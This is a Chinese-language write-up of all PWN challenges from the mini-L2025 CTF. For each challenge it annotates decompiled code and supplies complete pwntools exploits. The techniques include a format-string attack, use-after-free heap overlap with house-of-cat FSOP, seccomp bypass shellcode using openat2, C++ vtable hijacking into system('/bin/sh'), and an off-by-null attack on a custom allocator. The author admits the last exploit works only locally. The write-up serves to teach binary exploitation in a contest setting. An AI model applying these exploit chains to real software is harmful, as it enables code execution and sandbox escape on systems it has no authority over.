mini-L2025 PWN方向全题解
POSTBOX
PostScript下存在格式化字符串漏洞,具体分析如下
//unsigned __int64 __fastcall PostScript(_DWORD *a1, int *len)
while ( *a1 )          
                            //注意到这里解了个指针
                            //一般变量都是直接存储值,这个不一样也相当于提示了
  {
    printf("[*]You can still write %d times\n", *a1);
    puts("contents:\n");
    v3 = read(0, buf, *len);
    if ( v3 == -1 )
    {
      perror("read");
      close(fd);
      exit(1);
    }
    if ( v4 == 114514 )
                            //未初始化,来自栈上残留数据
                            //在上一个
    {
      *len += 0x7F;
      puts("[#]Check mod on.\n");
      puts("Your words:\n");
      printf(buf);
                            // vuln
                            //结合开头的解指针,可以重启函数
    }
    --*a1;
    write(fd, buf, v3);
    puts("[+]Input succeed!");
  }
且有后门函数Inval1dFunction()
那么exp如下:
from pwn import *
sla = lambda x,s : p.sendlineafter(x,s)
sl = lambda s : p.sendline(s)
sa = lambda x,s : p.sendafter(x,s)
s = lambda s : p.send(s)
p = remote('???')
sla('choice','2')
sa('contents:',p32(114514)*0x100)
sa('contents:','%2c%7$hhn%7$p\n\x00')
p.recvuntil('0x')
stack= int(p.recvline(keepends=False),16) + 0x28
print(hex(stack))
sa('contents:',b'%131c%12$hhn\x00\x00\x00\x00'+p64(stack))
p.interactive()
EASYHEAP
普通菜单堆,分析如下
int del()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch]
    //...
  ptr = heap[v1].content;
  if ( !ptr )
    return puts("Item does not exist");
  free(ptr);
  ptr = 0LL;
  heap[v1].size = 0LL;
                                //只清零size,典型的uaf
                                //可以free假堆块,或者double free,随意
    //...
}
int add()
{
  int result; // eax
  int v1; // eax
  unsigned int v2; // [rsp+4h] [rbp-1Ch]
  size_t size; // [rsp+8h] [rbp-18h]
    //...
    fgets(ptr, size, stdin);
                                //fgets输入必定有\x00截断
                                //实际上最多读size-1个字符,
    heap[v2].content = ptr;
    heap[v2].size = size;
    return printf("Item added at index %d\n", v2);
    //...
}
int show()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch]
    //...
    return printf("Data: %s\n", ptr);
                                //printf输出会被\x00截断
                                //配合fgets,难以泄露地址
    //...
}
采取堆块重叠的办法,申请8个大堆块再free掉
然后重新申请回来,再free掉。
则最后一个堆块被两个指针同时指向,一个指针用于free,另外一个指针用于show泄露地址
然后打house of cat的板子
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x06 0xc000003e  if (A != ARCH_X86_64) goto 0008
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x03 0xffffffff  if (A != 0xffffffff) goto 0008
 0005: 0x15 0x02 0x00 0x00000002  if (A == open) goto 0008
 0006: 0x15 0x01 0x00 0x00000101  if (A == openat) goto 0008
 0007: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0008: 0x06 0x00 0x00 0x00000000  return KILL
沙箱禁止了open/openat,用mprotect修改权限,再编写shellcode,用openat2绕过
exp:
from pwn import *
filename='./vuln'
libc='./libc.so.6'
sla = lambda x,s : p.sendlineafter(x,s)
sl = lambda s : p.sendline(s)
sa = lambda x,s : p.sendafter(x,s)
s = lambda s : p.send(s)
# p=process(filename)
p=remote('127.0.0.1',3515)
e=ELF(filename)
libc=ELF(libc)
# context.log_level='debug'
context(arch=e.arch, bits=e.bits, endian=e.endian, os=e.os)
# gdb.attach(p,'b *(&setcontext+61)\ngo')
def add(idx,size,content):
    sla(': ','1')
    sla(': ',str(idx))
    sla(': ',str(size))
    sla('data',content)
def edit(idx, content):
    sla(': ','2')
    sla(': ',str(idx))
    sla(': ',content)
def show(idx):
    sla(': ','3')
    sla(': ',str(idx))
def free(idx):
    sla(': ','4')
    sla(': ',str(idx))
for i in range(0,8):
    add(i,0x3f8,'')
# add(8,0x400)
for i in range(0,8):
    free(i)
for i in range(8,16):
    add(i,0x3f8,'')
free(7)
show(15)
p.recvuntil('Data: ')
key = u64(p.recvline(keepends=False)+b'\x00\x00\x00')<<12
add(7,0x3f8,'')
add(16,0x1f8,'')
for i in range(0,8):
    free(i)
show(15)
p.recvuntil('Data: ')
libcbase = u64(p.recvline(keepends=False)+b'\x00\x00') - 0x203b20
saddr = libcbase + libc.sym['system']
io_list_all = libcbase + libc.sym['_IO_list_all']
for i in range(0,8):
    add(i,0x3f8,'')
free(6)
free(7)
edit(15,p64(io_list_all^(key>>12)))
add(17,0x3f8,p64(key+0x80))
add(17,0x3f8,p64(key+0x80))
haddr=key+0x80
magic=libcbase+0x00000000000a9b53
magic=0x000000000010d05b+libcbase
magic=0x0000000000176f0e+libcbase
eataddr=libcbase+libc.sym['execveat']
fake_io=haddr
IO_wfile_jumps=libcbase+libc.sym['_IO_wfile_jumps']
setcontext_61=libcbase+libc.sym['setcontext']+61
rdi=libcbase+0x000000000010f75b
rax=libcbase+0x00000000000dd237
rsi=libcbase+0x0000000000110a4d
sys_ret=libcbase+0xF4759
ret=libcbase+0x000000000010f75b+1
saddr=libcbase+libc.sym['system']
binsh=libcbase+libc.search('/bin/sh').__next__()
Rop=p64(rdi)+p64(binsh)+p64(saddr)
mp=libcbase+libc.sym['mprotect']
orw=p64(setcontext_61)+p64(rdi)+p64(0xFFFFFF9C)
pay=flat(
{
0x0:[b'/flag\x00'],     # rdi=binsh
0x20:[p64(0)],            # write_base
0x28:[p64(1)],            # write_ptr --> ptr > base
0xc0:[p64(0)],            # _mode <= 0
0xd8:[p64(IO_wfile_jumps+0x30)],
0x88:[p64(haddr+0x90),p64(0),p64(1)],   # bypass lock
0xA0:[p64(fake_io+0xA8),p64(0),p64(1)],
(0xA0+0x20):[p64(0)],
(0xA0+0x28):[p64(1)],            # bypass check in wfile_seekoff
(0xA0+0x30):[p64(1)],            # bypass check in wfile_seekoff
(0xB0+0xd8):[p64(fake_io+0xB0+0xd8)], # fake wfile vtable
(0xB0+0xd8+0x18):[p64(magic)],   # call entry
(0xB0+0xd8+0x18+0x20):[p64(fake_io+0xB0+0xd8+0x18+0x28)],
(0xB0+0xd8+0x18+0x48):[p64(setcontext_61)],
(0x1C8+0xA0):[p64(fake_io+0x280)],    # rsp
(0x1C8+0x68):[p64(key^(key&0xfff))],       # rdi
(0x1C8+0xA8):[p64(mp)],              # ret_addr
(0x1C8+0x88):[p64(7)],            # rdx
(0x1C8+0x70):[p64(0x1000)],          # rsi
(0x280):[p64(key+0x308),asm(f'''
                            mov r10, 24
                            mov rsi, {haddr}
                            mov edi, -100
                            mov rdx, {key+0x380}
                            mov rax, 0x1b5
                            syscall
                            mov rdi, rax
                            mov rdx, 0x100
                            xor rax, rax
                            syscall
                            mov rax, 1
                            mov rdi, 1
                            syscall
                            ''')
]
},filler=b'\x00')
edit(15,pay)
print(hex(key+0x80))
print(hex(libcbase))
p.interactive()
MINISNAKE
如hints所写,撞墙和吃被写在一个线程里面
且触发一个后就会导致线程睡眠
那么吃食物的同时即可穿墙
配合number皮可以实现任意写
上下是±16,左右是±1,可以跳过canary防止crash
操作和调试过程略复杂且乏味,略过不提
通关秘籍如下:
种子 : 96630
112 - 9的时候按下
112 - 10的时候按右
121 -10 的时候按q退出
即可getshell
Ex-Aid 2
shellcode编写题,空间充裕
不论是追求超短shellcode,leak栈地址打rop
还是用短跳连接shellcode,简单orw,打法多样,根据喜好来便可
exp如下:
from pwn import *
filename='./checkin'
libc='./libc.so.6'
sla = lambda x,s : p.sendlineafter(x,s)
sl = lambda s : p.sendline(s)
sa = lambda x,s : p.sendafter(x,s)
s = lambda s : p.send(s)
# p=process(filename)
p=remote('127.0.0.1',45159)
e=ELF(filename)
libc=ELF(libc)
context.log_level='debug'
context(arch=e.arch, bits=e.bits, endian=e.endian, os=e.os)
# gdb.attach(p,'b *$rebase(0x15BA)\ngo')
shellcode = asm(
'''
push r11
pop rdx
push rax
pop rdi
push rbp
pop rsi
push rax
push rax
syscall
mov al,0x2
pop rsi
pop rdx
push rbp
pop rdi
syscall
jmp $+13
''')
print(len(shellcode))
s(shellcode)
sleep(0.5)
shellcode2 = asm(
'''
push rax
pop rsi
push r11
pop r10
xor edx,edx
mov edi,1
mov ax,0x28
syscall
'''
)
s(shellcode2)
s('\n')
pause()
s('/flag')
p.interactive()
CTFERS
main函数下有bug(),
void bug(void)
{
  __int64 v1; // rax
  if ( std::vector<CTFer *>::size(&ctfers) && !broken )
  {
    v1 = std::vector<CTFer *>::operator[](&ctfers, 0LL);
    std::istream::operator>>(&std::cin, v1);
    broken = 1;
                                // 允许修改一个指向对象的指针
                                // 只能利用一次
  }
}
没有开启PIE,考虑虚函数劫持
在name里面发现可以控制内容的地址
nsigned __int64 join_ctf(void)
{
    //..
  std::operator<<<std::char_traits<char>>(&std::cout, "Name > ");
  std::istream::ignore((std::istream *)&std::cin);
  std::operator>><char,std::char_traits<char>>(&std::cin, &name_buf);
                                // name_buf为bss段上变量
                                // 考虑在name_buf上伪造变量
                                // 并劫持对象指针,实现任意执行
    //...
}
由于对象内有name,大几率存在字符串指针
调试后确实发现存在,伪造字符串指针指向got表
调用print_info后即可泄露libc地址
观察print_info的参数传递情况,rdi、rax落在对象地址上,也就是可控地址
在libc中配合grep "call" | grep "rax" | grep "rdi"搜索gadgets
简单构造后即可构造出system("/bin/sh")
exp如下:
from pwn import *
filename='./ctfers'
libc='./libc.so.6'
sla = lambda x,s : p.sendlineafter(x,s)
sl = lambda s : p.sendline(s)
sa = lambda x,s : p.sendafter(x,s)
s = lambda s : p.send(s)
p=process(filename)
e=ELF(filename)
libc=ELF(libc)
context.log_level='debug'
context(arch=e.arch, bits=e.bits, endian=e.endian, os=e.os)
gdb.attach(p,'go')
ctfs = 0x4092c0
bug = 0x40266B
name_buf=0x4092e0
pinfo = 0x402996
def add(name,points = 0):
    sla('> ','0')
    sla('> ', name)
    sla('> ', str(points))
    sla('> ', '0')
def quit(index):
    sla('> ','1')
    sla('>', str(index))
def print_info():
    sla('>', '2')
add('0')
add('0')
add(p64(pinfo)+p64(name_buf)+p64(0)+p64(e.got['printf'])+p64(6)+p64(0x30))
sla('>', str(0xdeadbeef))
pause()
sl(str(name_buf+8))
print_info()
p.recvuntil('[0] I am ')
libcbase=u64(p.recv(6)+b'\x00\x00') - libc.sym['printf']
saddr=libcbase+libc.sym['system']
print(hex(saddr))
pause()
magic1 = 0x0000000000162f64 + libcbase
# mov rdi, qword ptr [rax] ;
# mov rax, qword ptr [rdi + 0x38] ; 
# call qword ptr [rax + 0x10]
magic2 = 0x000000000009d318  + libcbase
# mov rdi, qword ptr [rax + 8] ;
# call qword ptr [rax]
pay = flat(
{
    0:magic1,
    8:name_buf,
    0x10:saddr,
    0x18:name_buf+0x30,
    0x20:magic2,
    0x28:saddr,
    0x30:b'/bin/sh\x00',
    0x38:name_buf+0x10,
},filler= '\x00')
add(pay)
p.interactive()
MMAPHEAP
本人这题无法通过远程
分析原因发现,exp中一次性add了长度为0xffc0的padding用于offbynull
但是远程环境一次只能读约4000字节的payload
一开始写的时候没有考虑到pay长度太长,io会产生问题,最后发现前面的部分已经杂在一起改不动了
但是比赛已经结束,懒得改了(
所以将本地可以通过的代码放置于此
诸位看个思路便可
int add()
{
    //...
  buf = malloc(size);
  write(1, "data: ", 6uLL);
  buf[(int)read(0, buf, size)] = 0;
                            //存在off by null
    //...
}
int edit()
{
    //...
  write(1, "data: ", 6uLL);
  heaps[v1].data[(int)read(0, heaps[v1].data, heaps[v1].size)] = 0;
                            //存在off by null
    //...
}
逆向mylib中的print函数,存在\x00截断
逆向有关结构体可得如下结构
struct node_head // sizeof=0x38
{                                       // XREF: .bss:node_head/r
    chunk_head *chunks;
    __int64 chunk_counts;
    __int64 last;
    __int64 head;
    node_head *next;                    // XREF: init_malloc+1D/w
                                        // malloc+31/r ...
    node_head *back;                    // XREF: init_malloc+F/w
                                        // init_malloc+16/r ...
    __int64 field_30;
};
struct chunk_head // sizeof=0x10
{
    __int64 size;
    chunk_head *next;
};
off by null可以修改每个node里面chunk的位置
进而影响堆块申请的位置
通过off by null伪造位置,还可以导致堆块的大小出现问题
由于malloc中对size检查较弱,基本等同于向高地址的任意写
而高地址的任意写进一步导致了edit chunk_head,扩大为任意地址任意写
尽管\x00限制极其严格,我们仍可以通过堆布局
将0结尾地址上以0结尾的值当作size,并通过堆重叠实现泄露
在ld中找到pie地址,最后打回pie中的chunk_list,获得任意读写
由于对ld的查找破坏了dl_resolve,需要手动修复got表中所有需要重定向的函数
最后open /flag并read
exp如下:
from pwn import *
filename='./vuln'
libc='./libmylib.so'
sla = lambda x,s : p.sendlineafter(x,s)
sl = lambda s : p.sendline(s)
sa = lambda x,s : p.sendafter(x,s)
s = lambda s : p.send(s)
p=process(filename)
# p=remote('127.0.0.1',9999)
e=ELF(filename)
libc=ELF(libc)
context.log_level='debug'
context(arch=e.arch, bits=e.bits, endian=e.endian, os=e.os)
# gdb.attach(p,'go')
def add(idx, size ,data):
    sa('option:', '1')
    sa('idx:', str(idx))
    sa('size:', str(size))
    sa('data:', data)
def edit(idx, data):
    sa('option:', '2')
    sa('idx', str(idx))
    sa('data:', data)
def free(idx):
    sa('option:', '3')
    sa('idx:', str(idx))
def show(idx):
    sa('option:', '4')
    sa('idx: ', str(idx))
add(4,0xffc0,b'0')
add(0,0x40,b'0')
add(1,0xffc0,b'0'*0xffc0)
add(2,0x30,b'0')
show(0)
libcbase = u64(p.recv(6)+b'\x00\x00')+0x20040
add(3,0xff90,b'\x01'*0xff80)
add(5,0x800,b'a'*0x10) # head
# add(7,0x200,b'\x70'*7)
edit(5,b'a'*0x10+p64(libcbase+0x401e0))
add(4,0x130,'\x00')
add(4,0x10,'\x00')
edit(5,b'a'*0x10+p64(libcbase+0x402e0))
add(6,0x40,'\x00')
show(4)
pie = u64(p.recv(6)+b'\x00\x00')+0x50
edit(5,b'a'*0x10+p64(pie+0x4080))
add(0,0x100,p64(pie+0x4080)+p64(0x100))
edit(0,p64(libcbase+0x6918)+p64(8))
show(1)
stack = u64(p.recv(6)+b'\x00\x00')
edit(0,p64(pie+e.got['f_open'])+p64(0x100))
edit(1,p64(libcbase+libc.sym['r_open'])[:6:])
edit(0,p64(pie+e.got['strstr'])+p64(0x100))
edit(1,p64(libcbase+libc.sym['strstr'])[:6:])
edit(0,p64(pie+e.got['close'])+p64(0x100))
edit(1,p64(libcbase+libc.sym['close'])[:6:])
edit(0,p64(pie+e.bss(0x300))+p64(0x100)+p64(pie+e.bss(0x300))+p64(0x100))
print(hex(stack))
print(hex(libcbase-0x10))
print(hex(pie))
p.interactive()
# 之后open /flag到堆块1,并用堆块2show即可
 
                    
                
 
                
            
         浙公网安备 33010602011771号
浙公网安备 33010602011771号